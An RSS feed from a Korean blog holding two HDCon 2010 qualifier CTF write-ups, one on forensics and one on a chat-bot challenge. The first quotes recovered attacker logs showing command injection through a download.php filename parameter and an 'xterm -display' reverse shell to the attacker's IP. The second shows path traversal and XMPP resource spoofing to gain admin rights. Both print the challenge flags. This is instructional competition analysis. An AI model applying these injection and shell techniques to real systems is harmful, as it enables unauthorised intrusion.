<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
	<channel>
		<title>VHAIN@Dev.Study</title>
		<link>http://blog.vhain.com/</link>
		<description>안녕하세요? VHAIN Yoo 입니다. @vhain6512 (twitter) follow 해주세요 :-D</description>
		<language>ko</language>
		<pubDate>Tue, 30 Aug 2011 03:17:03 +0900</pubDate>
		<generator>Tistory 1.1 (http://www.tistory.com/)</generator>
		<image>
		<title>VHAIN@Dev.Study</title>
		<url><![CDATA[http://cfile8.uf.tistory.com/image/142A540C4AFA806C7B288B]]></url>
		<link>http://blog.vhain.com/</link>
		<description>안녕하세요? VHAIN Yoo 입니다. @vhain6512 (twitter) follow 해주세요 :-D</description>
		</image>
		<item>
			<title>HDCon 2010 예선 4번 문제 풀이</title>
			<link>http://blog.vhain.com/21</link>
			<description>4번 문제는 Forensic 문제였습니다. hdcon.img.gz 라는 이미지파일이 주어졌구요. gz압축을 해제하시면 hdcon.img 라는 리눅스 시스템 이미지가 주어졌습니다.&lt;br /&gt;
4번 문제의 정확한 본문은 기억이 나지 않지만... hdcon.img 는 해커로부터 해킹당해서 관리자 비밀번호를 노출당한 웹서버의 이미지 파일이라 합니다.&lt;br /&gt;
&lt;br /&gt;
FTK Imager로 열어보니, 로그들은 이미 통째로 갈아 엎힌 상태더군요...&lt;br /&gt;
&lt;div class=&quot;imageblock center&quot; style=&quot;text-align: center; clear: both;&quot;&gt;&lt;a href=&quot;http://cfile30.uf.tistory.com/original/145BF31B4BEF6AE70F2CAE&quot; rel=&quot;lightbox&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://cfile30.uf.tistory.com/image/145BF31B4BEF6AE70F2CAE&quot; alt=&quot;&quot; filemime=&quot;image/jpeg&quot; filename=&quot;log.png&quot; height=&quot;442&quot; width=&quot;680&quot;/&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
혹시나 하는 마음에 unallocated space를 보았습니다.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;imageblock center&quot; style=&quot;text-align: center; clear: both;&quot;&gt;&lt;a href=&quot;http://cfile23.uf.tistory.com/original/160EB71A4BEF6B5C2898B0&quot; rel=&quot;lightbox&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://cfile23.uf.tistory.com/image/160EB71A4BEF6B5C2898B0&quot; alt=&quot;&quot; filemime=&quot;image/jpeg&quot; filename=&quot;log1.png&quot; height=&quot;531&quot; width=&quot;680&quot;/&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
^^ 로그가 남아있군요. 다행이도(?) 완벽히 삭제하진 못한것 같습니다.&lt;br /&gt;
&lt;br /&gt;
&lt;p id=&quot;more21_0&quot; class=&quot;moreless_fold&quot;&gt;&lt;span style=&quot;cursor: pointer;&quot; onclick=&quot;toggleMoreLess(this, &#039;21_0&#039;,&#039;이 로그가 해커가 남긴건지 어떻게 아십니까? 라고 생각하신다면 여기를 눌러주세요.ㅋㅋ&#039;,&#039;알겠습니다. 의심의 여지가 없군요.&#039;); return false;&quot;&gt;이 로그가 해커가 남긴건지 어떻게 아십니까? 라고 생각하신다면 여기를 눌러주세요.ㅋㅋ&lt;/span&gt;&lt;/p&gt;&lt;div id=&quot;content21_0&quot; class=&quot;moreless_content&quot; style=&quot;display: none;&quot;&gt;unallocated space에 있는 12864와 38993은 웹서버의 로그였습니다.&lt;br /&gt;
그중에서도 12864를 잘 보시면...&lt;br /&gt;
&lt;br /&gt;
192.168.2.119님께서 열심히 웹 스캐너를 돌리시다가... 이런 로그를 남기시고 나가셨더라구요.&lt;br /&gt;
192.168.2.119 - - [07/May/2010:07:23:59 +0900] &quot;GET /penetraion/download.php?filename=ls HTTP/1.1&quot; 200 322&quot;&lt;br /&gt;
192.168.2.119 - - [07/May/2010:07:24:31 +0900] &quot;GET /penetraion/download.php?filename=cat /etc/services HTTP/1.1&quot; 200 294&lt;br /&gt;
192.168.2.119 - - [07/May/2010:07:24:58 +0900] &quot;GET /penetraion/download.php?filename=id HTTP/1.1&quot; 200 322&lt;br /&gt;
192.168.2.119 - - [07/May/2010:07:25:06 +0900] &quot;GET /penetraion/download.php?filename=pwd HTTP/1.1&quot; 200 311&lt;br /&gt;
192.168.2.119 - - [07/May/2010:07:25:25 +0900] &quot;GET /penetraion/download.php?filename=ls%20/usr/bin HTTP/1.1&quot; 200 2883&lt;br /&gt;
192.168.2.119 - - [07/May/2010:07:26:43 +0900] &quot;GET /penetraion/download.php?filename=xterm%20-display%20192.168.2.119:0 HTTP/1.1&quot; 200 294&lt;br /&gt;
192.168.2.119 - - [07/May/2010:07:26:54 +0900] &quot;GET /penetraion/download.php?filename=xterm%20-display%20192.168.2.119:0&amp;amp; HTTP/1.1&quot; 200 294&lt;br /&gt;
&lt;br /&gt;
보시면 /etc/services 를 통해 돌아가고있는 서비스를 보시고,,,, xterm 실행이 가능하다는걸 아신담에,,,&lt;br /&gt;
xterm 으로 리버스쉘을 여셨었습니다.&lt;br /&gt;
&lt;br /&gt;
물론 이 증거만으로 어떻게 저 bash로그가 해커가 남긴거라고 확신할수있지? 100% 확신할 수는 없겠지만..&lt;br /&gt;
게싱도 해킹의 범주에 포함되는거 아닐까요 ^^;&lt;br /&gt;
&lt;/div&gt;&lt;br /&gt;
그럼 이제 로그를 분석해봅시다.&lt;br /&gt;
&lt;br /&gt;
/usr/local/lib/python2.6/ 에다가 sniffit (!!) 을 받으신 후 perlxml 으로 이름을 바꾼담에 실행하시고, 로그를 날리고 가셨군요.&lt;br /&gt;
관리자가 telnet이나 ssh로 접속중이었다면 비밀번호가 노출되었겠어요..&lt;br /&gt;
&lt;br /&gt;
sniffit 실행 인자를 보시면, /usr/local/lib/python2.6/configx.py 에 pcap 로그가 남아있겠군요.&lt;br /&gt;
그렇지만 그 파일은 삭제된 것 같습니다. 그렇지만 unallocated space를 보시면 이곳에는 pcap파일이 남아있습니다. (휴)&lt;br /&gt;
57224 라는 파일이 pcap파일입니다. (configx.py 였겠죠 ㅎㅎ)&lt;br /&gt;
&lt;br /&gt;
Wireshark로 열어보시면..&lt;div class=&quot;imageblock center&quot; style=&quot;text-align: center; clear: both;&quot;&gt;&lt;a href=&quot;http://cfile22.uf.tistory.com/original/1731A2224BEF6E4A26773F&quot; rel=&quot;lightbox&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://cfile22.uf.tistory.com/image/1731A2224BEF6E4A26773F&quot; alt=&quot;&quot; filemime=&quot;image/jpeg&quot; filename=&quot;pcap.png&quot; height=&quot;577&quot; width=&quot;680&quot;/&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
짜잔 ! Password: 라고 서버에서 답신이왔네요.ㅋ (이것 바로 이전 패킷은 client에서 su\n 라고 말한거였습니다.ㅋ)&lt;br /&gt;
&lt;br /&gt;
바로 다음 패킷인 27번 패킷부터 비밀번호 입력이 ~~ 있었겠네요.ㅋ&lt;br /&gt;
&lt;br /&gt;
답은 H@rd44or*ns1c8760$!em 였습니다.&lt;br /&gt;
&lt;br /&gt;
클리어 ~&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
P.S. 로그따위 안보고 unallocated spaces의 모든 파일 다 긁어서 하나하나 확인했더라면 더 빨리 클리어가 가능했겠죠? ㅎㅎ;&lt;br /&gt;&lt;div class=&quot;entry-ccl&quot; style=&quot;clear: both; text-align: right; margin-bottom: 10px&quot;&gt;
	&lt;img id=&quot;ccl-icon-21-0&quot; class=&quot;entry-ccl-by&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black01.png&quot; alt=&quot;저작자 표시&quot;/&gt;
	&lt;img id=&quot;ccl-icon-21-1&quot; class=&quot;entry-ccl-nc&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black02.png&quot; alt=&quot;비영리&quot;/&gt;
	&lt;img id=&quot;ccl-icon-21-2&quot; class=&quot;entry-ccl-sa&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black04.png&quot; alt=&quot;동일 조건 변경 허락&quot;/&gt;
	&lt;!--
	&lt;rdf:RDF xmlns=&quot;http://web.resource.org/cc/&quot; xmlns:dc=&quot;http://purl.org/dc/elements/1.1/&quot; xmlns:rdf=&quot;http://www.w3.org/1999/02/22-rdf-syntax-ns#&quot;&gt;
		&lt;Work rdf:about=&quot;&quot;&gt;
			&lt;license rdf:resource=&quot;http://creativecommons.org/licenses/by-nc-sa/2.0/kr/&quot; /&gt;
		&lt;/Work&gt;
		&lt;License rdf:about=&quot;http://creativecommons.org/licenses/by-nc-sa/&quot;&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Reproduction&quot;/&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Distribution&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Notice&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Attribution&quot;/&gt;
			&lt;prohibits rdf:resource=&quot;http://web.resource.org/cc/CommercialUse&quot;/&gt;
		&lt;/License&gt;
	&lt;/rdf:RDF&gt;
	--&gt;
&lt;/div&gt;
&lt;fieldset style=&quot;margin:20px 0px 20px 0px;padding:5px;&quot;&gt;&lt;legend&gt;&lt;span&gt;&lt;strong&gt;크리에이티브 커먼즈 라이선스&lt;/strong&gt;&lt;/span&gt;&lt;/legend&gt;&lt;!--Creative Commons License--&gt;&lt;div style=&quot;float: left; width: 88px; margin-top: 3px;&quot;&gt;&lt;a rel=&quot;license&quot; href=&quot;http://creativecommons.org/licenses/by-nc-sa/2.0/kr/&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;Creative Commons License&quot; style=&quot;border-width: 0&quot; src=&quot;http://i.creativecommons.org/l/by-nc-sa/2.0/kr/88x31.png&quot;/&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;margin-left: 92px; margin-top: 3px; text-align: justify;&quot;&gt;이 저작물은 &lt;a rel=&quot;license&quot; href=&quot;http://creativecommons.org/licenses/by-nc-sa/2.0/kr/&quot; target=&quot;_blank&quot;&gt;크리에이티브 커먼즈 코리아 저작자표시-비영리-동일조건변경허락 2.0 대한민국 라이선스&lt;/a&gt;에 따라 이용하실 수 있습니다.
			&lt;!-- Creative Commons License--&gt;
			&lt;!-- &lt;rdf:RDF xmlns=&quot;http://web.resource.org/cc/&quot; xmlns:dc=&quot;http://purl.org/dc/elements/1.1/&quot; xmlns:rdf=&quot;http://www.w3.org/1999/02/22-rdf-syntax-ns#&quot;&gt;
			&lt;Work rdf:about=&quot;&quot;&gt;
			&lt;license rdf:resource=&quot;http://creativecommons.org/licenses/by-nc-sa/2.0/kr/&quot; /&gt;
			&lt;/Work&gt;
			&lt;License rdf:about=&quot;http://creativecommons.org/licenses/by-nc-sa/&quot;&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Reproduction&quot;/&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Distribution&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Notice&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Attribution&quot;/&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/DerivativeWorks&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/ShareAlike&quot;/&gt;&lt;prohibits rdf:resource=&quot;http://web.resource.org/cc/CommercialUse&quot;/&gt;&lt;/License&gt;&lt;/rdf:RDF&gt; --&gt;&lt;/div&gt;&lt;/fieldset&gt;</description>
			<category>HDCon</category>
			<author>VHAIN</author>
			<guid>http://blog.vhain.com/21</guid>
			<comments>http://blog.vhain.com/21#entry21comment</comments>
			<pubDate>Sun, 16 May 2010 13:23:11 +0900</pubDate>
		</item>
		<item>
			<title>HDCon 2010 예선 3번 문제 풀이</title>
			<link>http://blog.vhain.com/20</link>
			<description>3번 문제는 주최측이 미리 준비해둔 GTalk 봇들과 대화를(?) 통해 답을 얻어내는 문제였습니다.&lt;br /&gt;
봇에게 아무 말이나 하면 &quot;Unknown command, Type &quot;help&quot; for available commands!&quot; 라고 대답을 합니다.&lt;br /&gt;
&lt;span style=&quot;font-weight: bold;&quot;&gt;help &lt;/span&gt;를 입력해 봅시다.&lt;br /&gt;
&lt;div style=&quot;margin-left: 4em;&quot;&gt;
&lt;span style=&quot;font-style: italic;&quot;&gt;Available commands[user]:&lt;/span&gt;&lt;br style=&quot;font-style: italic;&quot;&gt;&lt;span style=&quot;font-style: italic;&quot;&gt;﻿&lt;/span&gt;&lt;br style=&quot;font-style: italic;&quot;&gt;&lt;span style=&quot;font-style: italic;&quot;&gt;base64: Returns passed arguments base64&#039;ed&lt;/span&gt;&lt;br style=&quot;font-style: italic;&quot;&gt;&lt;span style=&quot;font-style: italic;&quot;&gt;ls: Displays file list&lt;/span&gt;&lt;br style=&quot;font-style: italic;&quot;&gt;&lt;span style=&quot;font-style: italic;&quot;&gt;rot13: Returns passed arguments rot13&#039;ed&lt;/span&gt;&lt;br style=&quot;font-style: italic;&quot;&gt;&lt;span style=&quot;font-style: italic;&quot;&gt;time: Displays current server time&lt;/span&gt;&lt;br style=&quot;font-style: italic;&quot;&gt;&lt;span style=&quot;font-style: italic;&quot;&gt;whoami: Tells you your username&lt;/span&gt;&lt;br style=&quot;font-style: italic;&quot;&gt;&lt;br style=&quot;font-style: italic;&quot;&gt;&lt;span style=&quot;font-style: italic;&quot;&gt;Type help &amp;lt;command name&amp;gt; to get more info about that specific command,&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;span style=&quot;font-weight: bold;&quot;&gt;ls &lt;/span&gt;를 입력해 봅시다.&lt;br /&gt;
&lt;/div&gt;
&lt;div style=&quot;margin-left: 4em;&quot;&gt;
&lt;span style=&quot;font-style: italic;&quot;&gt;DB2,txt Infomix,txt Ingres,txt MSSQL,txt MySQL,txt Oracle,txt PostgreSQL,txt&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
상위 디렉터리를 보기 위해...&lt;br /&gt;
&lt;span style=&quot;font-weight: bold;&quot;&gt;ls ../&lt;/span&gt; 를 입력해 봅시다.&lt;br /&gt;
&lt;/div&gt;
&lt;div style=&quot;margin-left: 4em;&quot;&gt;
&lt;span style=&quot;font-style: italic;&quot;&gt;File not found,&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
음... ../ 가 먹히지 않는걸까요? 하지만 상위 디렉터리를 보기 위한 다른 명령이 있습니다.&lt;br /&gt;
&lt;span style=&quot;font-weight: bold;&quot;&gt;ls .\.&lt;/span&gt; 를 입력해 봅시다.&lt;br /&gt;
&lt;/div&gt;
&lt;div style=&quot;margin-left: 4em;&quot;&gt;
&lt;span style=&quot;font-style: italic;&quot;&gt;public private&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
public 폴더를 ls .\./public 으로 들여다보니 기존에 있었던 폴더같구요... private를 들여다 보겠습니다.&lt;br /&gt;
&lt;span style=&quot;font-weight: bold;&quot;&gt;ls .\./private&lt;/span&gt; 를 입력해 봅시다.&lt;br /&gt;
&lt;/div&gt;
&lt;div style=&quot;margin-left: 4em;&quot;&gt;
&lt;span style=&quot;font-style: italic;&quot;&gt;memo1 ?memo2 memo3&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
메모를 읽고 싶습니다. help에는 없었지만, 본능적으로 cat을 입력해보았습니다.&lt;br /&gt;
&lt;span style=&quot;font-weight: bold;&quot;&gt;cat .\./private/memo1&lt;/span&gt; 를 입력해 봅시다.&lt;br /&gt;
&lt;/div&gt;
&lt;div style=&quot;margin-left: 4em;&quot;&gt;
&lt;span style=&quot;font-style: italic;&quot;&gt;Need admin privilege,&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
오호... cat명령이 있긴 한데 관리자 권한이 없다 하는군요.&lt;br /&gt;
&lt;span style=&quot;font-weight: bold;&quot;&gt;whoami&lt;/span&gt; 를 입력해 봅시다.&lt;br /&gt;
&lt;/div&gt;
&lt;div style=&quot;margin-left: 4em;&quot;&gt;
&lt;span style=&quot;font-style: italic;&quot;&gt;vhain6512@gmail,com/Talk,v10456D8BACD&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
이멜주소/리소스 의 형태로 되어있습니다. 여기서 전 Google Talk 프로그램을 이용했었습니다. 리소스의 경우엔 실행한 프로그램에 따라 달라지더라구요. 그래서 전 GTalk 이 이용하는 프로토콜인 XMPP를 이용하는 클라이언트를 직접 작성해보기에 이릅니다.. ;; (XMPP 웹사이트에 많은 라이브러리들이 있더군요...ㅠㅠ 저는 대회 다 끝나고 알았다는... 참고하시면 client 만드시는데 도움이 되실겁니다. &lt;a title=&quot;[http://xmpp.org/software/libraries.shtml]로 이동합니다.&quot; target=&quot;_blank&quot; href=&quot;http://xmpp.org/software/libraries.shtml&quot;&gt;http://xmpp.org/software/libraries.shtml&lt;/a&gt;)&lt;br /&gt;
&lt;br /&gt;
작성 후 &lt;span style=&quot;font-weight: bold;&quot;&gt;help&lt;/span&gt;라는 말을 날려보았더니 응답이 이렇게 왔습니다.&lt;br /&gt;
&lt;/div&gt;
&lt;div style=&quot;margin-left: 4em;&quot;&gt;
&amp;lt;message to=&quot;vhain6512@gmail.com&quot; type=&quot;chat&quot; id=&quot;1214&lt;span style=&quot;font-style: italic;&quot;&gt;(request마다 각각 다른 id를 줍니다.)&lt;/span&gt;&quot; from=&quot;hdconbot4@gmail.com/HDCONTalk49A12728&quot;&amp;gt;&amp;lt;body&amp;gt;Available commands[user]:&lt;br /&gt;
&lt;br /&gt;
base64: Returns passed arguments base64&#039;ed&lt;br /&gt;
ls: Displays file list&lt;br /&gt;
rot13: Returns passed arguments rot13&#039;ed&lt;br /&gt;
time: Displays current server time&lt;br /&gt;
whoami: Tells you your username&lt;br /&gt;
&lt;br /&gt;
Type help &amp;amp;lt;command name&amp;amp;gt; to get more info about that specific command,&amp;lt;/body&amp;gt;&amp;lt;thread&amp;gt;None&amp;lt;/thread&amp;gt;&amp;lt;nos:x value=&quot;disabled&quot; xmlns:nos=&quot;google:nosave&quot;/&amp;gt;&amp;lt;arc:record otr=&quot;false&quot; xmlns:arc=&quot;http://jabber.org/protocol/archive&quot;/&amp;gt;&amp;lt;/message&amp;gt;&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
흠... 봇들은 &lt;span style=&quot;font-weight: bold;&quot;&gt;HDCONTalk&lt;/span&gt; 를 리소스 (메신저타입?) 으로 이용하고있더라구요. 그리고 이 리소스는 로그인과정에서 client에서 server로 보내주게 되어잇는 부분이었습니다.&lt;br /&gt;
&lt;/div&gt;
&lt;div style=&quot;margin-left: 4em;&quot;&gt;
&amp;lt;iq type=&quot;set&quot; id=&quot;&lt;span style=&quot;font-style: italic;&quot;&gt;request마다 각각 다른 id를 줍니다.&lt;/span&gt;&quot;&amp;gt;&lt;br /&gt;
&amp;lt;bind xmlns=&quot;urn:ietf:params:xml:ns:xmpp-bind&quot;&amp;gt;&lt;br /&gt;
&amp;lt;resource&amp;gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;VHAIN&lt;/span&gt;&amp;lt;/resource&amp;gt;&lt;br /&gt;
&amp;lt;/bind&amp;gt;&lt;br /&gt;
&amp;lt;/iq&amp;gt;&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
이곳에서 &lt;span style=&quot;font-weight: bold;&quot;&gt;VHAIN&lt;/span&gt;을 저도 봇들과 같이 &lt;span style=&quot;font-weight: bold;&quot;&gt;HDCONTalk&lt;/span&gt; 으로 변경하여 로그인을 다시 시도해보았습니다.&lt;br /&gt;
로그인 후에 &lt;span style=&quot;font-weight: bold;&quot;&gt;whoami &lt;/span&gt;라고 말을했더니...&lt;br /&gt;
&lt;/div&gt;
&lt;div style=&quot;margin-left: 4em;&quot;&gt;
&lt;span style=&quot;font-style: italic;&quot;&gt;vhain6512@gmail,com/HDCONTalk77889A49&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
랍니다. 일단 의도대로는 잘 된것같군요.&lt;br /&gt;
&lt;span style=&quot;font-weight: bold;&quot;&gt;help &lt;/span&gt;라고 말 해 봅시다.&lt;br /&gt;
&lt;/div&gt;
&lt;div style=&quot;margin-left: 4em;&quot;&gt;
&lt;span style=&quot;font-style: italic;&quot;&gt;Available commands[admin]:&lt;/span&gt;&lt;br style=&quot;font-style: italic;&quot;&gt;&lt;br style=&quot;font-style: italic;&quot;&gt;&lt;span style=&quot;font-style: italic;&quot;&gt;base64: Returns passed arguments base64&#039;ed&lt;/span&gt;&lt;br style=&quot;font-style: italic;&quot;&gt;&lt;span style=&quot;font-style: italic;&quot;&gt;cat: Displays file(argument: file or inode)&lt;/span&gt;&lt;br style=&quot;font-style: italic;&quot;&gt;&lt;span style=&quot;font-style: italic;&quot;&gt;ls: Displays file list&lt;/span&gt;&lt;br style=&quot;font-style: italic;&quot;&gt;&lt;span style=&quot;font-style: italic;&quot;&gt;rot13: Returns passed arguments rot13&#039;ed&lt;/span&gt;&lt;br style=&quot;font-style: italic;&quot;&gt;&lt;span style=&quot;font-style: italic;&quot;&gt;stat: Displays information about the server&lt;/span&gt;&lt;br style=&quot;font-style: italic;&quot;&gt;&lt;span style=&quot;font-style: italic;&quot;&gt;time: Displays current server time&lt;/span&gt;&lt;br style=&quot;font-style: italic;&quot;&gt;&lt;span style=&quot;font-style: italic;&quot;&gt;whoami: Tells you your username&lt;/span&gt;&lt;br style=&quot;font-style: italic;&quot;&gt;&lt;br style=&quot;font-style: italic;&quot;&gt;&lt;span style=&quot;font-style: italic;&quot;&gt;Type help &amp;lt;command name&amp;gt; to get more info about that specific command,&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
ㅋㅋㅋㅋ Available commands[admin] 이라는군요.&lt;br /&gt;
자 성공입니다. !! 이제 아까 안됬던 memo1 읽기를 다시 시도해봅시다.&lt;br /&gt;
&lt;span style=&quot;font-weight: bold;&quot;&gt;cat .\./private/memo1&lt;/span&gt; 을 입력해봅시다.&lt;br /&gt;
&lt;/div&gt;
&lt;div style=&quot;margin-left: 4em; font-style: italic;&quot;&gt;
N,M 팀의 효율적인 팀웍을 위해&lt;br /&gt;
정보 공유 봇을 제작하였습니다,&lt;br /&gt;
&lt;br /&gt;
불필요한 파일을 올리지 말고 사용하시길 바랍니다,&lt;br /&gt;
업로드에 필요한 정보는 memo2에 기록해 두겠습니다,&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
memo2를 읽으면 되겠네요. 그런데 memo2 파일이름이 아까 좀 이상했었습니다. ? 이런 문자가 있었던걸로 보아 뭔가 출력하기 곤란한 문자였나보군요...&lt;br /&gt;
&lt;span style=&quot;font-weight: bold;&quot;&gt;help cat&lt;/span&gt; 을 입력해봅시다.&lt;br /&gt;
&lt;/div&gt;
&lt;div style=&quot;margin-left: 4em; text-align: left;&quot;&gt;
&lt;span style=&quot;font-style: italic;&quot;&gt;Displays file(argument: file or inode)&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;
&lt;div style=&quot;margin-left: 4em; text-align: left;&quot;&gt;
&lt;br /&gt;
&lt;/div&gt;
허허.. 파일이름이나 inode를 입력하라는군요. 파일이름 입력이 곤란하니...그래서 이번엔 inode를 이용하기로 합니다.&lt;br /&gt;
inode는 간단하게... 파일의 주소? 라고 말씀드리도록 하겠습니다.. (자세한것은 시간상... 하지만 구글신에게 여쭤보신다면..ㅎ)&lt;br /&gt;
memo2의 inode가 memo1과 memo3 사이에 있다는 가정 하에... 일단 memo1의 inode를 알아보도록 하겠습니다.&lt;br /&gt;
&lt;span style=&quot;font-weight: bold;&quot;&gt;stat .\./private/memo1&lt;/span&gt; 을 입력합니다.&lt;br /&gt;
&lt;div style=&quot;margin-left: 4em; font-style: italic;&quot;&gt;
posix,stat_result(st_mode=33188, st_ino=59639L, st_dev=64512L, st_nlink=1, st_uid=1000, st_gid=1000, st_size=225L, st_atime=1273120860, st_mtime=1273120870, st_ctime=1273120870)&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
memo3의 inode를 알아보도록 하겠습니다.&lt;br /&gt;
&lt;span style=&quot;font-weight: bold;&quot;&gt;stat .\./private/memo3&lt;/span&gt; 을 입력합니다.&lt;br /&gt;
&lt;/div&gt;
&lt;div style=&quot;margin-left: 4em; font-style: italic;&quot;&gt;
posix,stat_result(st_mode=33188, st_ino=59644L, st_dev=64512L, st_nlink=1, st_uid=1000, st_gid=1000, st_size=143L, st_atime=1273120884, st_mtime=1273120887, st_ctime=1273120887)&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
memo1의 inode는 st_ino=59639, memo3의 inode는 st_ino=59644 이군요. ^^&lt;br /&gt;
cat 59640 ~ cat 59643. 네번 시도만 하시면 넷중이 하나 답이 나오겠군요. ~~&lt;br /&gt;
정답은 59639 였습니다.&lt;br /&gt;
&lt;span style=&quot;font-weight: bold;&quot;&gt;cat 59639&lt;/span&gt; 를 입력하시면...&lt;br /&gt;
&lt;/div&gt;
&lt;div style=&quot;margin-left: 4em; font-style: italic;&quot;&gt;
축하합니다!&lt;br /&gt;
아래 키를 입력하면 다음 단계로 진행할 수 있습니다,&lt;br /&gt;
&lt;br /&gt;
Key is &quot;_tob607^^3xpl07~~777&quot;&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
클리어 ~&lt;br /&gt;
&lt;br /&gt;
P.S. Pidgin 메신저에서 XMPP 콘솔을 이용해서 푸신 분도 계시는것 같더라구요 ~&lt;br /&gt;
&lt;/div&gt;&lt;div class=&quot;entry-ccl&quot; style=&quot;clear: both; text-align: right; margin-bottom: 10px&quot;&gt;
	&lt;img id=&quot;ccl-icon-20-0&quot; class=&quot;entry-ccl-by&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black01.png&quot; alt=&quot;저작자 표시&quot;/&gt;
	&lt;img id=&quot;ccl-icon-20-1&quot; class=&quot;entry-ccl-nc&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black02.png&quot; alt=&quot;비영리&quot;/&gt;
	&lt;img id=&quot;ccl-icon-20-2&quot; class=&quot;entry-ccl-sa&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black04.png&quot; alt=&quot;동일 조건 변경 허락&quot;/&gt;
	&lt;!--
	&lt;rdf:RDF xmlns=&quot;http://web.resource.org/cc/&quot; xmlns:dc=&quot;http://purl.org/dc/elements/1.1/&quot; xmlns:rdf=&quot;http://www.w3.org/1999/02/22-rdf-syntax-ns#&quot;&gt;
		&lt;Work rdf:about=&quot;&quot;&gt;
			&lt;license rdf:resource=&quot;http://creativecommons.org/licenses/by-nc-sa/2.0/kr/&quot; /&gt;
		&lt;/Work&gt;
		&lt;License rdf:about=&quot;http://creativecommons.org/licenses/by-nc-sa/&quot;&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Reproduction&quot;/&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Distribution&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Notice&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Attribution&quot;/&gt;
			&lt;prohibits rdf:resource=&quot;http://web.resource.org/cc/CommercialUse&quot;/&gt;
		&lt;/License&gt;
	&lt;/rdf:RDF&gt;
	--&gt;
&lt;/div&gt;
&lt;fieldset style=&quot;margin:20px 0px 20px 0px;padding:5px;&quot;&gt;&lt;legend&gt;&lt;span&gt;&lt;strong&gt;크리에이티브 커먼즈 라이선스&lt;/strong&gt;&lt;/span&gt;&lt;/legend&gt;&lt;!--Creative Commons License--&gt;&lt;div style=&quot;float: left; width: 88px; margin-top: 3px;&quot;&gt;&lt;a rel=&quot;license&quot; href=&quot;http://creativecommons.org/licenses/by-nc-sa/2.0/kr/&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;Creative Commons License&quot; style=&quot;border-width: 0&quot; src=&quot;http://i.creativecommons.org/l/by-nc-sa/2.0/kr/88x31.png&quot;/&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;margin-left: 92px; margin-top: 3px; text-align: justify;&quot;&gt;이 저작물은 &lt;a rel=&quot;license&quot; href=&quot;http://creativecommons.org/licenses/by-nc-sa/2.0/kr/&quot; target=&quot;_blank&quot;&gt;크리에이티브 커먼즈 코리아 저작자표시-비영리-동일조건변경허락 2.0 대한민국 라이선스&lt;/a&gt;에 따라 이용하실 수 있습니다.
			&lt;!-- Creative Commons License--&gt;
			&lt;!-- &lt;rdf:RDF xmlns=&quot;http://web.resource.org/cc/&quot; xmlns:dc=&quot;http://purl.org/dc/elements/1.1/&quot; xmlns:rdf=&quot;http://www.w3.org/1999/02/22-rdf-syntax-ns#&quot;&gt;
			&lt;Work rdf:about=&quot;&quot;&gt;
			&lt;license rdf:resource=&quot;http://creativecommons.org/licenses/by-nc-sa/2.0/kr/&quot; /&gt;
			&lt;/Work&gt;
			&lt;License rdf:about=&quot;http://creativecommons.org/licenses/by-nc-sa/&quot;&gt;
